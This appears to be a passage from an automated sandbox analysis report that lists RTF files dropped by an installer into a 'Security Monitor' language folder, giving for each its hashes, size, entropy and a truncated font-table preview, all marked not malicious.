SHA-256:	E950C0B4282DDB4BBBCA54BB72CB789B117690E1EFA15D7BE6C59BE5D77A65EA
SHA-512:	80147E578792B71F77E06659978C233E4BE7AB1352B056DEC3BCA74A0E5F5A6386983B5935467BDDA4DDF34CD64304843903A85DAC3C813DCF49457810E670E2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-J7F78.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37309
Entropy (8bit):	5.035450399129397
Encrypted:	false
SSDEEP:	768:VkGN4JtOiBkyKWm+XcOl66fSndrdyzotzrcq4Ta:VkHHu4Ta
MD5:	C121D028E5250297A8B932011A8122F9
SHA1:	6E9E2CAE5D2200213EA2378E2F02E4237F0EA7F1
SHA-256:	8246FF97F5D8EA82D7D9C00EC53309DC207026DD6B406B7B77E873563AB424DF
SHA-512:	F93C9D589271DA049E037F0491E9B34CA1574113F488DDF302370BB1BC4CE55985A27A294B37A50100BEA4C9E209B5C6D8020843BD404B571B99E112E6F1CB3D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-U6894.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36554
Entropy (8bit):	5.033242301326159
Encrypted:	false
SSDEEP:	768:w4FkNxjETicPI0QhhiLVUO9HZYSEWsIZ/6A9V:w4G3UntIA9V
MD5:	60CFC0AB1C3A23B456BDEB0DD8010A83
SHA1:	E2EB5D85ECC146BA756BB812247090D421D8F906
SHA-256:	FB9A493F603C0027F6782538022DA6D82577FC0CE69146E66076EF94440B7D18
SHA-512:	80ABA72B39079A7B4378C0B106CBB0098AE94BEAC586DC34BE10F5CE2D7F0193B20A215F0D98D08A709F934CB1AC05FCE6B15270D3E855F01BD9C814D95AA4AB
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-V8QER.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	78220
Entropy (8bit):	4.998804403921912
Encrypted:	false
SSDEEP:	1536:w4NORVKcNG59+ppOBpvKeGpWONtetjIC1uCLCCiOBG/60Oc5IRcofyW26IA9w:w2GVFU59+/O3vKeO+5G
MD5:	284D049932C02AFE360E12F1ACBBEB89
SHA1:	F5D588FE773BF163D5FE123B38FCAF70AF53F786
SHA-256:	9AD1BA3EF54FEA19A88AAABBAF13DBD8C798DA68B989F4E321594E54A5DB2AF6
SHA-512:	AF4E3F43E6A258E8E45A2983A2DC1CE29190163B2DCDE25DC4AB3BFF4F1FC6E07E14BB4023FC5A7F7C008463BD1F8D7ADCB12D1FDAFD6503B41E94D2E98D74F8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-VEUU5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44885
Entropy (8bit):	5.051249541456295
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqoFleTHHqaXD8TfLlCeTxDn4UfvUwNi:VklnIqN4Tm
MD5:	26DF31606E6051A5AB82AFA526964B5B
SHA1:	E567611817B3963033B65E615EE4ABB3FCE7499A
SHA-256:	8B807D3D26611E1DD448B29E0626173AE0C4077974E4BC018358536D48A6F510
SHA-512:	49BF5203F94FDB4136E58F17CFF137DD5685372A135701E22649E1B2661A3F48AD09B2FE6EDBA57AF4DD80C0766934AE2A281F845D32C9D529A3C20A3E9315F6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\is-VTN2G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44680
Entropy (8bit):	5.0440980385984355
Encrypted:	false
SSDEEP:	768:Vk13ixj20TaGC5X2kEDYd/awBGkRYoGPLo9C4Yhn8uw8h33SSnHDlM85baNRWmgA:VkGt4T3
MD5:	8F7F1A8853F08FDC85B12A89E08CF432
SHA1:	D2F7DCC9250548EA79E9AB2148E232B183527D2D
SHA-256:	519A67854D21C49B501187DC6DE66AB09C403ABE68F5E3F20ECEAFD24FD92A51
SHA-512:	871B3634AB86A66E58424D45984EF0EA8973220D3A17F58B4CD399807045E5A6C72505F82E40A2789BBCF62C219E1EBBFD109DB29A0ECD3433AD04A47434A48A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	41999
Entropy (8bit):	5.055697465978919
Encrypted:	false
SSDEEP:	768:VkmzS4JUAauTJcOerjj1oKauIKx49kWYcFBxBMdk+tkakaLMvIghQq4TP:Vku11S7u4TP
MD5:	38D9C60C2583CC6714A0F317F3FD24AD
SHA1:	06F40D2DD9A933E7073FD6B57475B879582B99D2
SHA-256:	4825CB084B4CBE44982E0B965CCE2025C23D43CC3DDB6B4389F811C07A5EE872
SHA-512:	C2397F026AF1AEFBE283F59D8188CB17C4BB43F6F228FFBF07A167DFC636D6D7504FC1BF69F53451C361FCD02646B9E96C2A6BE0FD3B12A58B9E42D8A729FB4D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset0\fprq2 Arial CYR;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f3150

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	38095
Entropy (8bit):	5.023434979525739
Encrypted:	false
SSDEEP:	384:qY6g3X45Y8qb7PzybdKkjYeQZBzyKIl6ZIi6rGsoUwEAG2DaGZ:qhg3feQZ5yKIl2U4Z
MD5:	BF8EAEFA279A7B4973C0AEA344342EEA
SHA1:	FC9B1F4747B94663D9BE6A446F8C186D981321F0
SHA-256:	05D8BABE44F84B4DD6022B8D236C2BF93917E8E38C14F3B700186B8C3C1209C0
SHA-512:	DDB4F723299CB3F50206830FD9809198923FAE710CE314A22558C26D235B85E1BAC6562C8A17C723857734DB0432158FC22450FE43AB3A0FFF5704D8CA885175
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang3082\deflangfe3082\themelang3082\themelangfe0\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fh

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	55781
Entropy (8bit):	4.974374262253835
Encrypted:	false
SSDEEP:	768:wqFkd4JQJHT2njX8x3TLjwUtqYepAkVZEdvI9DhL02GZLu5UZcHXqjHZCNVsMQgB:wqdThL0kIIA9Y
MD5:	0BF8EF2B17B829705BB1D37632503C1F
SHA1:	5E969D18969120A577205E785D8641CAD1037AA5
SHA-256:	665B118FF5A8EA42EC98EB73371D9F28DAA619617F014E4C6FB9F4281521D391
SHA-512:	6FA8B101F982EC8CB3987057591C90300C0C158A74D4DBCEFF179E994E9A560C5EF0F130314639B751B01501465B4D55C8DA68F95FF1F9E97174B3A8CF264AB3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68966
Entropy (8bit):	4.980232511599592
Encrypted:	false
SSDEEP:	768:wqFy4FxrUJHT2njX8x3TLjwUtqYepAkVZEdvI9vTkdr9oY7sad4m11F8yO61x3fj:wqJ7RTkdtIA9J
MD5:	84C18085AA83A3983748A25518050BF5
SHA1:	92861E7CC4A6C458188EE78856C6D542EC279BD8
SHA-256:	BB5C8F79F380A101456F8C6157E9999F906CE697B357789DB415B5182D4BBA21
SHA-512:	A8477B72B61D832DB1C72074E70E6A3752F67C21A9B6DB02261CD155AD583806DFA866A4533DB2FFDE9D2B978C4972E3B4FA0BC06AC2E91F4F207C8468653A3B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Tim

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	42355
Entropy (8bit):	5.0527900529716705
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmV4JAF/WMvgDNHkAwd6Lkygbq4TF:VklnIV4J34TF
MD5:	6E4790A124B7FF2124F2D64A1F5935AE
SHA1:	809C008765ADDE1CFF719DF84F5D1A6972C9D15A
SHA-256:	7BC836689CF9FF9CF09F7E58AF04356C29C44CD67256FF828873AFAE1D9AD78A
SHA-512:	9DA4AFC8A0E1A92A33ED8D33C8C3E6162DC0FCED24BF9A65A69ED92380B10E5B639E6809067E1D8A7F2BCD7300A809CFBA07693AF9A6B425CCDA76CAC53AB38C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	45797
Entropy (8bit):	5.048112106920449
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmms0Fzyf/8Ze52zxn1yIATqQfIUj1gCK/:VklnIsM4T4
MD5:	B282950E706D40B97814A1BE2F1513FE
SHA1:	82318E2310302B88264AF88800CB5A6762446C20
SHA-256:	C93DEB9DF3F1878F380EC3C9348E22E07A5A38CC005D180FFAE3EF7C663BA567
SHA-512:	0A5128EE9895BDB59F247B49B105E990675E27A9F93F006E88500CEBE5084722DD4D1CC74CDC31AC65AAAE0962D4FA2F1EDB96C26AA4CBE733054B35D047C49B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	54358
Entropy (8bit):	5.030949914338969
Encrypted:	false
SSDEEP:	768:Vk13TxjelQcX09coHJreOYSN4UIRopZMggLBbWm6CgqMPYZtYJxewPO1nS3jcL9A:VkLjoVq4TC
MD5:	72F2281B43D886812D0AB9227F12438E
SHA1:	9FA51047B63B8C6771351030059CA120DB60FCDA
SHA-256:	A1D007010FAB6C2E57A687E45B26AC54BCCDCB91D4310C0BD7ECD0C478AFF63A
SHA-512:	78FF6C728C82E2790C1D43759EDC5ECF4A883B6034246E4CC40A4526254E7CCBC766225B51A6ED22AD3B6EC96A2411F47922549146C7D621C68F9C8BCBB22226
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44680
Entropy (8bit):	5.0440980385984355
Encrypted:	false
SSDEEP:	768:Vk13ixj20TaGC5X2kEDYd/awBGkRYoGPLo9C4Yhn8uw8h33SSnHDlM85baNRWmgA:VkGt4T3
MD5:	8F7F1A8853F08FDC85B12A89E08CF432
SHA1:	D2F7DCC9250548EA79E9AB2148E232B183527D2D
SHA-256:	519A67854D21C49B501187DC6DE66AB09C403ABE68F5E3F20ECEAFD24FD92A51
SHA-512:	871B3634AB86A66E58424D45984EF0EA8973220D3A17F58B4CD399807045E5A6C72505F82E40A2789BBCF62C219E1EBBFD109DB29A0ECD3433AD04A47434A48A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\spanish\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43957
Entropy (8bit):	5.05318714443273
Encrypted:	false
